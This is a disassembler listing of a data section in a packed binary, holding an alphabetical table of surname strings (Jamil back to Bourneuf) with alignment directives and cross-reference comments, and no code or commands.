aJamil		db 'Jamil',0            ; DATA XREF: .packed:0042E4C4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: .packed:0042E4C0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .packed:0042E4BCo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: .packed:0042E4B8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: .packed:0042E4B4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: .packed:0042E4B0o
aJacenko	db 'Jacenko',0          ; DATA XREF: .packed:0042E4ACo
aIyer		db 'Iyer',0             ; DATA XREF: .packed:0042E4A8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .packed:0042E4A4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .packed:0042E4A0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .packed:0042E49Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .packed:0042E498o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: .packed:0042E494o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .packed:0042E490o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .packed:0042E48Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .packed:0042E488o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .packed:0042E484o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .packed:0042E480o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .packed:0042E47Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .packed:0042E478o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .packed:0042E474o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .packed:0042E470o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .packed:0042E46Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .packed:0042E468o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: .packed:0042E464o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .packed:0042E460o
aHoward		db 'Howard',0           ; DATA XREF: .packed:0042E45Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .packed:0042E458o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .packed:0042E454o
aHoshida	db 'Hoshida',0          ; DATA XREF: .packed:0042E450o
aHorsley	db 'Horsley',0          ; DATA XREF: .packed:0042E44Co
aHopkins	db 'Hopkins',0          ; DATA XREF: .packed:0042E448o
aHooker		db 'Hooker',0           ; DATA XREF: .packed:0042E444o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .packed:0042E440o
aHolway		db 'Holway',0           ; DATA XREF: .packed:0042E43Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .packed:0042E438o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .packed:0042E434o
aHolmes		db 'Holmes',0           ; DATA XREF: .packed:0042E430o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .packed:0042E42Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .packed:0042E428o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: .packed:0042E424o
aHoffer		db 'Hoffer',0           ; DATA XREF: .packed:0042E420o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: .packed:0042E41Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .packed:0042E418o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .packed:0042E414o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .packed:0042E410o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .packed:0042E40Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .packed:0042E408o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: .packed:0042E404o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: .packed:0042E400o
aHester		db 'Hester',0           ; DATA XREF: .packed:0042E3FCo
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: .packed:0042E3F8o
aHernandez	db 'Hernandez',0        ; DATA XREF: .packed:0042E3F4o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .packed:0042E3F0o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: .packed:0042E3ECo
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: .packed:0042E3E8o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .packed:0042E3E4o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .packed:0042E3E0o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: .packed:0042E3DCo
aHeiland	db 'Heiland',0          ; DATA XREF: .packed:0042E3D8o
aHeft		db 'Heft',0             ; DATA XREF: .packed:0042E3D4o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: .packed:0042E3D0o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .packed:0042E3CCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .packed:0042E3C8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: .packed:0042E3C4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .packed:0042E3C0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: .packed:0042E3BCo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .packed:0042E3B8o
aHartnett	db 'Hartnett',0         ; DATA XREF: .packed:0042E3B4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: .packed:0042E3B0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .packed:0042E3ACo
aHarrigan	db 'Harrigan',0         ; DATA XREF: .packed:0042E3A8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: .packed:0042E3A4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: .packed:0042E3A0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .packed:0042E39Co
aHanssen	db 'Hanssen',0          ; DATA XREF: .packed:0042E398o
aHand		db 'Hand',0             ; DATA XREF: .packed:0042E394o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .packed:0042E390o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .packed:0042E38Co
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .packed:0042E388o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: .packed:0042E384o
aHallowell	db 'Hallowell',0        ; DATA XREF: .packed:0042E380o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .packed:0042E37Co
aHaley		db 'Haley',0            ; DATA XREF: .packed:0042E378o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .packed:0042E374o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: .packed:0042E370o
aHaar		db 'Haar',0             ; DATA XREF: .packed:0042E36Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: .packed:0042E368o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .packed:0042E364o
aGunn		db 'Gunn',0             ; DATA XREF: .packed:0042E360o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: .packed:0042E35Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .packed:0042E358o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .packed:0042E354o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .packed:0042E350o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .packed:0042E34Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .packed:0042E348o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .packed:0042E344o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .packed:0042E340o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .packed:0042E33Co
aGozzi		db 'Gozzi',0            ; DATA XREF: .packed:0042E338o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .packed:0042E334o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: .packed:0042E330o
		align 4
aGood		db 'Good',0             ; DATA XREF: .packed:0042E32Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .packed:0042E328o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .packed:0042E324o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .packed:0042E320o
aGlegg		db 'Glegg',0            ; DATA XREF: .packed:0042E31Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .packed:0042E318o
aGist		db 'Gist',0             ; DATA XREF: .packed:0042E314o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .packed:0042E310o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .packed:0042E30Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: .packed:0042E308o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .packed:0042E304o
aGibson		db 'Gibson',0           ; DATA XREF: .packed:0042E300o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .packed:0042E2FCo
aGhorai		db 'Ghorai',0           ; DATA XREF: .packed:0042E2F8o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .packed:0042E2F4o
aGeorgi		db 'Georgi',0           ; DATA XREF: .packed:0042E2F0o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .packed:0042E2ECo
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .packed:0042E2E8o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .packed:0042E2E4o
aGarman		db 'Garman',0           ; DATA XREF: .packed:0042E2E0o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: .packed:0042E2DCo
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .packed:0042E2D8o
aGalwey		db 'Galwey',0           ; DATA XREF: .packed:0042E2D4o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .packed:0042E2D0o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .packed:0042E2CCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .packed:0042E2C8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .packed:0042E2C4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .packed:0042E2C0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .packed:0042E2BCo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .packed:0042E2B8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: .packed:0042E2B4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .packed:0042E2B0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .packed:0042E2ACo
aFrisken	db 'Frisken',0          ; DATA XREF: .packed:0042E2A8o
aFriedland	db 'Friedland',0        ; DATA XREF: .packed:0042E2A4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: .packed:0042E2A0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .packed:0042E29Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .packed:0042E298o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .packed:0042E294o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .packed:0042E290o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .packed:0042E28Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .packed:0042E288o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: .packed:0042E284o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .packed:0042E280o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: .packed:0042E27Co
aFortes		db 'Fortes',0           ; DATA XREF: .packed:0042E278o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: .packed:0042E274o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .packed:0042E270o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .packed:0042E26Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .packed:0042E268o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .packed:0042E264o
aFisk		db 'Fisk',0             ; DATA XREF: .packed:0042E260o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .packed:0042E25Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: .packed:0042E258o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .packed:0042E254o
aFink		db 'Fink',0             ; DATA XREF: .packed:0042E250o
		align 10h
aField		db 'Field',0            ; DATA XREF: .packed:0042E24Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: .packed:0042E248o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: .packed:0042E244o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .packed:0042E240o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .packed:0042E23Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: .packed:0042E238o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .packed:0042E234o
aFeldman	db 'Feldman',0          ; DATA XREF: .packed:0042E230o
aFejzo		db 'Fejzo',0            ; DATA XREF: .packed:0042E22Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .packed:0042E228o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: .packed:0042E224o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .packed:0042E220o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: .packed:0042E21Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .packed:0042E218o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: .packed:0042E214o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .packed:0042E210o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .packed:0042E20Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: .packed:0042E208o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .packed:0042E204o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: .packed:0042E200o
aEverett	db 'Everett',0          ; DATA XREF: .packed:0042E1FCo
aEuripides	db 'Euripides',0        ; DATA XREF: .packed:0042E1F8o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .packed:0042E1F4o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .packed:0042E1F0o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .packed:0042E1ECo
		align 4
aErez		db 'Erez',0             ; DATA XREF: .packed:0042E1E8o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: .packed:0042E1E4o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .packed:0042E1E0o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: .packed:0042E1DCo
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .packed:0042E1D8o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .packed:0042E1D4o
aEncinas	db 'Encinas',0          ; DATA XREF: .packed:0042E1D0o
aElvis		db 'Elvis',0            ; DATA XREF: .packed:0042E1CCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .packed:0042E1C8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .packed:0042E1C4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: .packed:0042E1C0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .packed:0042E1BCo
aEdward		db 'Edward',0           ; DATA XREF: .packed:0042E1B8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: .packed:0042E1B4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .packed:0042E1B0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: .packed:0042E1ACo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .packed:0042E1A8o
aEardley	db 'Eardley',0          ; DATA XREF: .packed:0042E1A4o
aDwyer		db 'Dwyer',0            ; DATA XREF: .packed:0042E1A0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: .packed:0042E19Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .packed:0042E198o
aDuffin		db 'Duffin',0           ; DATA XREF: .packed:0042E194o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .packed:0042E190o
aDrinker	db 'Drinker',0          ; DATA XREF: .packed:0042E18Co
aDowsland	db 'Dowsland',0         ; DATA XREF: .packed:0042E188o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .packed:0042E184o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: .packed:0042E180o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .packed:0042E17Co
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: .packed:0042E178o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .packed:0042E174o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: .packed:0042E170o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .packed:0042E16Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: .packed:0042E168o
aDoherty	db 'Doherty',0          ; DATA XREF: .packed:0042E164o
aDockery	db 'Dockery',0          ; DATA XREF: .packed:0042E160o
aDirksen	db 'Dirksen',0          ; DATA XREF: .packed:0042E15Co
aDionysius	db 'Dionysius',0        ; DATA XREF: .packed:0042E158o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .packed:0042E154o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .packed:0042E150o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .packed:0042E14Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .packed:0042E148o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .packed:0042E144o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .packed:0042E140o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .packed:0042E13Co
aDesombre	db 'Desombre',0         ; DATA XREF: .packed:0042E138o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .packed:0042E134o
aDenham		db 'Denham',0           ; DATA XREF: .packed:0042E130o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .packed:0042E12Co
aDemusz		db 'Demusz',0           ; DATA XREF: .packed:0042E128o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .packed:0042E124o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .packed:0042E120o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042E11Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .packed:0042E118o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .packed:0042E114o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .packed:0042E110o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: .packed:0042E10Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: .packed:0042E108o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .packed:0042E104o
aDerousse	db 'deRousse',0         ; DATA XREF: .packed:0042E100o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042E0FCo
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .packed:0042E0F8o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .packed:0042E0F4o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .packed:0042E0F0o
aDavid		db 'David',0            ; DATA XREF: .packed:0042E0ECo
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .packed:0042E0E8o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .packed:0042E0E4o
		align 10h
aDas		db 'Das',0              ; DATA XREF: .packed:0042E0E0o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042E0DCo
aDapice		db 'Dapice',0           ; DATA XREF: .packed:0042E0D8o
		align 4
aDante		db 'Dante',0            ; DATA XREF: .packed:0042E0D4o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: .packed:0042E0D0o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .packed:0042E0CCo
aDaly		db 'Daly',0             ; DATA XREF: .packed:0042E0C8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .packed:0042E0C4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .packed:0042E0C0o
aCyders		db 'Cyders',0           ; DATA XREF: .packed:0042E0BCo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .packed:0042E0B8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .packed:0042E0B4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .packed:0042E0B0o
aCui		db 'Cui',0              ; DATA XREF: .packed:0042E0ACo
aCroxton	db 'Croxton',0          ; DATA XREF: .packed:0042E0A8o
aCroxen		db 'Croxen',0           ; DATA XREF: .packed:0042E0A4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: .packed:0042E0A0o
aCrocker	db 'Crocker',0          ; DATA XREF: .packed:0042E09Co
aCrawford	db 'Crawford',0         ; DATA XREF: .packed:0042E098o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .packed:0042E094o
aCounter	db 'Counter',0          ; DATA XREF: .packed:0042E090o
aCosmides	db 'Cosmides',0         ; DATA XREF: .packed:0042E08Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .packed:0042E088o
aCorey		db 'Corey',0            ; DATA XREF: .packed:0042E084o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .packed:0042E080o
aCondodina	db 'Condodina',0        ; DATA XREF: .packed:0042E07Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .packed:0042E078o
aComstock	db 'Comstock',0         ; DATA XREF: .packed:0042E074o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: .packed:0042E06Co
					; .packed:0042E070o
aCollis		db 'Collis',0           ; DATA XREF: .packed:0042E068o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: .packed:0042E064o
aColella	db 'Colella',0          ; DATA XREF: .packed:0042E060o
aColdren	db 'Coldren',0          ; DATA XREF: .packed:0042E05Co
aCoito		db 'Coito',0            ; DATA XREF: .packed:0042E058o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: .packed:0042E054o
aClow		db 'Clow',0             ; DATA XREF: .packed:0042E050o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: .packed:0042E04Co
aClement	db 'Clement',0          ; DATA XREF: .packed:0042E048o
aClark		db 'Clark',0            ; DATA XREF: .packed:0042E044o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .packed:0042E040o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: .packed:0042E03Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .packed:0042E038o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .packed:0042E034o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .packed:0042E030o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .packed:0042E02Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: .packed:0042E028o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .packed:0042E024o
aChristopher	db 'Christopher',0      ; DATA XREF: .packed:0042E020o
aChristie	db 'Christie',0         ; DATA XREF: .packed:0042E01Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .packed:0042E018o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .packed:0042E014o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: .packed:0042E010o
aChinman	db 'Chinman',0          ; DATA XREF: .packed:0042E00Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .packed:0042E008o
aChilds		db 'Childs',0           ; DATA XREF: .packed:0042E004o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .packed:0042E000o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .packed:0042DFFCo
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .packed:0042DFF8o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .packed:0042DFF4o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .packed:0042DFF0o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .packed:0042DFECo
		align 4
aCharles	db 'Charles',0          ; DATA XREF: .packed:0042DFE8o
aChapman	db 'Chapman',0          ; DATA XREF: .packed:0042DFE4o
aCerioli	db 'Cerioli',0          ; DATA XREF: .packed:0042DFE0o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .packed:0042DFDCo
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .packed:0042DFD8o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .packed:0042DFD4o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .packed:0042DFD0o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .packed:0042DFCCo
		align 10h
aCase		db 'Case',0             ; DATA XREF: .packed:0042DFC8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .packed:0042DFC4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .packed:0042DFC0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .packed:0042DFBCo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .packed:0042DFB8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .packed:0042DFB4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .packed:0042DFB0o
aCarlos		db 'Carlos',0           ; DATA XREF: .packed:0042DFACo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .packed:0042DFA8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .packed:0042DFA4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .packed:0042DFA0o
aCapursi	db 'Capursi',0          ; DATA XREF: .packed:0042DF9Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .packed:0042DF98o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .packed:0042DF94o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .packed:0042DF90o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .packed:0042DF8Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .packed:0042DF88o
aCanley		db 'Canley',0           ; DATA XREF: .packed:0042DF84o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .packed:0042DF80o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .packed:0042DF7Co
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .packed:0042DF78o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .packed:0042DF74o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .packed:0042DF70o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .packed:0042DF6Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .packed:0042DF68o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .packed:0042DF64o
aBurridge	db 'Burridge',0         ; DATA XREF: .packed:0042DF60o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .packed:0042DF5Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: .packed:0042DF58o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .packed:0042DF54o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: .packed:0042DF50o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .packed:0042DF4Co
aBudding	db 'Budding',0          ; DATA XREF: .packed:0042DF48o
aBuchan		db 'Buchan',0           ; DATA XREF: .packed:0042DF44o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: .packed:0042DF40o
aBrook		db 'Brook',0            ; DATA XREF: .packed:0042DF3Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: .packed:0042DF38o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .packed:0042DF34o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: .packed:0042DF30o
aBridges	db 'Bridges',0          ; DATA XREF: .packed:0042DF2Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .packed:0042DF28o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .packed:0042DF20o
					; .packed:0042DF24o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .packed:0042DF1Co
aBrenan		db 'Brenan',0           ; DATA XREF: .packed:0042DF18o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .packed:0042DF14o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .packed:0042DF10o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .packed:0042DF0Co
aBradac		db 'Bradac',0           ; DATA XREF: .packed:0042DF08o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .packed:0042DF04o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: .packed:0042DF00o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .packed:0042DEFCo
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: .packed:0042DEF8o
aBoyes		db 'Boyes',0            ; DATA XREF: .packed:0042DEF4o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: .packed:0042DEF0o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .packed:0042DEECo
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .packed:0042DEE8o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .packed:0042DEE4o
		align 4
